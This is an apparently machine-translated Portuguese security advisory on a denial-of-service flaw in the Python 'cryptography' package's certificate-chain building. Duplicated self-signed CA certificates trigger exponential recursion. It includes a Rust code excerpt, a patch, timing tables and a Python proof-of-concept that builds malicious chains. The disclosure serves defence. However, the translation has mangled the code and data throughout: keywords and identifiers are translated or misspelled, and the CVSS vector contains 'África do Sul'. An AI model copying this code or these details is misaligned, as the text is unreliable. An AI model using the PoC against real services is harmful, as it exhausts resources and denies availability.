### Resumo Ao resolver cadeias de certificados inválidas que incluem cópias duplicadas de certificados auto- assinados, o processamento recursivamente invoca o mesmo candidato, levando a um surto exponencial. Embora a limitação de que a profundidade da cadeia não pode exceder uma profundidade máxima especificada impeça a recursão não limitada e garanta a terminação, uma cadeia de certificados controlada pelo atacante pode levar o processamento a tomar facilmente mais do que 5 s a rejeitar em testes. Esta amplificação pode formar a base para um ataque de negação de serviço de exaustão de recursos. Este trabalho foi concluído pela Trail of Bits como parte do projeto Patch The Planet em colaboração com OpenAI. O achado foi identificado principalmente pelo agente de codificação do Codex, e analisado manualmente antes da submissão. ### Detalhes O problema central surge na natureza recursiva do `build_chain_inner`, que não se desduplica contra candidatos previamente analisados.
```python fn build_chain_inner( & self, working_cert: &VerificationCertificado , current_profundity: u 8, working_cert_ extensions: & Extensions , name_chain: NameChain , orçamento: &mut Budget, ) -> ValidaçãoResultado , B> { se permitir que Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.avaliate_constraints(&nc.value()?, orçamento)?;} // Veja no conjunto de raiz da loja para ver se o certificado de trabalho está listado. // Se for, chegamos ao fim. self.store.continue(working_cert) { retorna Ok(vec![working_cert.clone()]); } // Verifique que a profundidade atual não excede a profundidade máxima configurada pela nossa política. Nós fazemos isso após a verificação do conjunto de raiz, uma vez que a profundidade // apenas mede o comprimento da cadeia intermediária, não a raiz ou folha. se current_profundity > self.policy.max_chain_profundity { retornar Err(ValidationError::new(ValidationErrorKind::Outros( "construção da cadeia excede a profundidade máxima".into(), ))); }.
// Caso contrário, coletamos uma lista de potenciais emitentes para este certificado, // e continuamos com o primeiro que verifica. deixe que mut last_ err: Opção > = Nenhum; para emission_cert_ candidate em self.potential_issuers(working_cert) { // Um emitente candidato é dito para verificar se ambos os sinais para o certificado de trabalho e está em conformidade com a política //. deixe que emitent_ extensions = emission_cert_candidate.certificate().extensions().?; match self.policy.valid_issuer( emission_cert_candidate, working_cert, current_profund, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( ```` Um patch suficiente é para rastrear os emitentes válidos e para pular os vistos antes de recursing. Ao rastrear apenas os emitentes válidos, as chamadas de validação e de política de extensão personalizada ainda são executadas. ```rust lat mut seed_valid_issuers = Vec:: >::new(); for emission_cert_ candidate in self.potential_issuers(working_cert) {... Ok(_) => { se seed_valid_issuers. contêm(&issuing_cert_ candidate) { continue; } seed_valid_issuers.push(issuing_cert_ candidate);.
corresponder a self.build_chain_inner( emission_cert_ candidate, // NOTA( ww): De acordo com RFC 5280, devemos apenas ``` Ao testar, esta correção removeu o explosão exponencial sem quebrar a correção aparente. ``` duplica,max_profundidade, resultado, segundos 1,7, rejeitado, 0.000464 -> 1,7, rejeitado, 0.000667 2,7, rejeitado, 0.025154 -> 2,7, rejeitado, 0.001229 3,7, rejeitado, 0.489924 -> 3,7, rejeitado, 0.001619 4,7, rejeitado, 4.309403 -> 4,7, rejeitado, 0.002144 3,8, rejeitado, 1.468193 -> 3,8, rejeitado, 0.001811 4,8, tempo de saída> 5 s, -> 4,8, rejeitado, 0.002410 5,7, tempo de saída> 5 s, -> 5,7, rejeitado, 0.002640 6,6, tempo de saída> 5 s, -> 6,6, rejeitado, 0.002829 ```.
### PoC Os seguintes tempos de processamento de parâmetros de script para cadeias de cert maliciosas. ```python importar data hora importar hora de processamento multitempo importar. importar criptografia a partir da criptografia importar x 509 a partir de cryptographie.hazmat.primentius importa hashes a partir de cryptographie.hazmat.primentius.importation ec simétrica a partir de cryptographie.x 509 Importação.oid de key- up, nome OID da criptografia.x 509 Importação de verificação ( DNSName, PolicyBuilder, Loja, VerificaçãoErro, ) AGORA = datatime. datetime( 2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x 509.KeyUsage( digital_signature=True, content_commitment=False, key_encifrment=False, data_encifrment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encifr_only=False, decifr_only=False, ) EE_KEY_USAGE = x 509.KeyUsage( digital_signature=True, content_commitment=False, key_encifherment=False, data_encifherment=False, key_agrement=False, key_cert_sign=False, crl_sign=False, encifher_only=False, dechifher_only=False, ).
def name(common_ name): retorna x 509.Nome([x 509.NameAttribute(NameOID.COMMON_NAME, common_name)]). def base_builder(subject, emitent, public_key, serial): retorno ( x 509.CertificateBuilder().subject_name(sujeito).issuer_name(issuer).public_key(public_key).serial_number(serial).not_valid_forefore(NOW - datetime.timedelta(days= 1 ) ).not_valid_after(NOW + datetime.timedelta(days= 30 )) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP 256 R 1 ()) subject = nome(common_name) cert = (base_builder(subject, subject, private_key.public_key(), serial).add_extension(x 509.BasicConstrains(ca=True, path_length=Nenhum), Verdadeiro).add_extension(CA_KEY_USAGE, Verdadeiro).add_extension( x 509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), Falso, ).sign(private_key, hashes.SHA 256 ()) ) devolver private_key, cert def make_leaf(issuer_key, emitent_cert): private_key = ec.generate_private_key(ec.SECP 256 R 1 ()) retorno (base_builder(nome("folha"), emitent_cert.sujeito, private_key.public_key(), 100 ).add_extensão( x 509.BasicConstrains(ca=False, path_length=Nenhum), Verdadeiro).add_extensão(EE_KEY_USAGE, Verdadeiro).add_extensão(x 509.SubjetoAlternativeName([x 509.DNSName("exemplo.com")], Falso).add_extension( x 509.AutoridadeIdentificador de chave.from_issuer_public_key(issuer_key.public_key()), Falso, ).add_extensão(x 509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), Falso).sign(issuer_key, hashes.SHA 256 ()) ).
def build_material(): looping_key, looping_ca = make_ca("looping auto-ssigned CA", 1 ) _, unlande_root = make_ca("ancora de confiança não relacionada", 2 ) folha = make_leaf(looping_key, looping_ca) retorna folha, looping_ca, unlande_root def verifick_case( duplicates, max_profundity, cola): leaf, looping_ca, unlander_root = build_material() verificator = ( PolicyBuilder().store(Store([[unrelated_root])).time(NOW).max_chain_profundity(max_profundity).build_server_verifier(DNSName("exemplo.com") ) start = time.perf_counter() try: verifier.verify( folheto, [looping_ca] * duplicates) result = "aceitado" exceto VerificaçãoErro: result = "rejeitado" cola.put(((resultado, time.perf_counter() - start)).
def run_case(duplicates, max_profundity): cola = multiprocessamento.Queue() process = multiprocessamento.Processo( alvo=verify_case, args=(duplicates, max_profundity, cola), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print( f"{duplicates},{max_profundity},timeout>{TIMEOUT}s,") retorna. resultado, transcorrido = colau.get() print( f"{duplicates}, {max_profundity}, {result}, {elasted:. 6 f}") se __name__== "__main_": print("duplica,max_profundidade, resultado, segundos") para o caso em [( 1, 7 ), ( 2, 7 ), ( 3, 7 ), ( 4, 7 ), ( 3, 8 ), ( 4, 8 ), ( 5, 7 ), ( 6, 6 )]: run_ case(* case) ```.
### Impacto Esta questão expõe uma via de amplificação sobre dados que em muitos aplicativos podem ser controlados pelo usuário, levando à possibilidade de uma negação de serviço através da exaustão de recursos. Como a correção da validação não é afetada, a integridade de um sistema não pode ser comprometida através deste vetor, apenas a sua disponibilidade. Registro de aconselhamento: GHSA- jwv 3 - 5 hgf-. 82 WW. Identificadores relacionados: CVE- 2026 - 69249. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 03 T 21: 26: 50.000 Z e lista a sua última modificação como 2026 - 08 - 03 T 21: 26: 50.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/África do Sul:N. Informações sobre software e versão afetadas: Criptografia do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 49.0.0. Classificação e evidência: identificadores de fraqueza CWE- 400. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.